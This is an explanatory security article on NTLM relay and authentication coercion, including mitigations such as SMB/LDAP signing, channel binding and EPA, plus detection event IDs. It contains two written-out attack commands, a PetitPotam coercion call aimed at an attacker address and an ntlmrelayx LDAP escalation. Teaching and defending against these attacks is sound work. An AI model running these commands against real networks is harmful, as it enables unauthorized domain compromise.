NTLM Relay: Why Authentication Coercion Still Works

NTLM relay isn’t a vulnerability in the traditional sense — it’s a consequence of how NTLM authentication was designed decades before the threat model included an attacker sitting on the same network segment. The protocol never bound an authentication attempt to the specific channel it was intended for, which is exactly the gap relay attacks exploit.

The core problem: no channel binding by default

When a client authenticates to a server via NTLM, it produces a response derived from a challenge issued by that server. Nothing in the classic NTLM exchange cryptographically ties that exchange to this specific TCP connection to this specific server. An attacker positioned in the middle can:

1. Receive an authentication attempt intended for one destination.
2. Relay the authentication material to a different destination.
3. Be treated as the original, legitimate client by that second destination.

Getting a victim to authenticate: coercion

Relay needs something to relay. Coercion techniques trigger a target machine (often a Domain Controller) into authenticating to an attacker-controlled listener. PetitPotam is a well-known example, abusing the MS-EFSRPC interface’s EfsRpcOpenFileRaw function to make a target authenticate over SMB to a chosen address:

python3 PetitPotam.py -d domain.local -u user -p 'Passw0rd!' attacker-ip target-dc-ip

Other coercion primitives exist across different RPC interfaces (MS-RPRN’s RpcRemoteFindFirstPrinterChangeNotification, MS-DFSNM, and others) — the pattern is consistent even where the specific interface differs.

Relaying to something useful

Once a DC’s machine account authenticates to a relay listener, the value of the attack depends entirely on where that authentication gets relayed. Relaying to LDAP/LDAPS is particularly high-impact, since a successful relay can be used to grant the relayed identity resource-based constrained delegation (RBCD) rights over itself — effectively self-granting impersonation rights.

ntlmrelayx.py -t ldap://target-dc --escalate-user attacker-controlled-account

What actually stops relay

• SMB signing, enforced (not just enabled) on all servers, particularly Domain Controllers. Signing requires each message to be cryptographically signed, which breaks the relay’s assumption that the attacker can forward messages unmodified.
• LDAP signing and channel binding, both configured — signing alone doesn’t prevent LDAPS relay; channel binding ties the LDAP bind to the specific TLS channel it arrived on.
• Extended Protection for Authentication (EPA) on services like AD CS web enrollment, which binds authentication to the TLS channel similarly.
• Disabling NTLM where feasible, or at minimum restricting NTLM authentication via GPO to only the hosts that genuinely require it.
• Patching known coercion vectors — MS-EFSRPC and similar RPC interfaces have received targeted fixes, but new coercion primitives continue to surface, so this is a mitigating control, not a complete one.

Detection notes

• Event ID 4624 (logon) with Logon Type 3 from unexpected source-to-destination pairs, especially where the source is a workstation and the destination is a Domain Controller.
• SMB signing rejection events, if signing is enforced — a spike suggests something is actively attempting unsigned connections.
• Unexpected RBCD attribute (msDS-AllowedToActOnBehalfOfOtherIdentity) changes on computer objects, which is a common downstream artifact of an LDAP relay chain.

Relay attacks endure because they exploit an architectural gap, not a single bug — every new coercion technique is just a new way to trigger the same underlying weakness. Signing and channel binding close the gap at the protocol level; patching individual coercion primitives only closes one door at a time.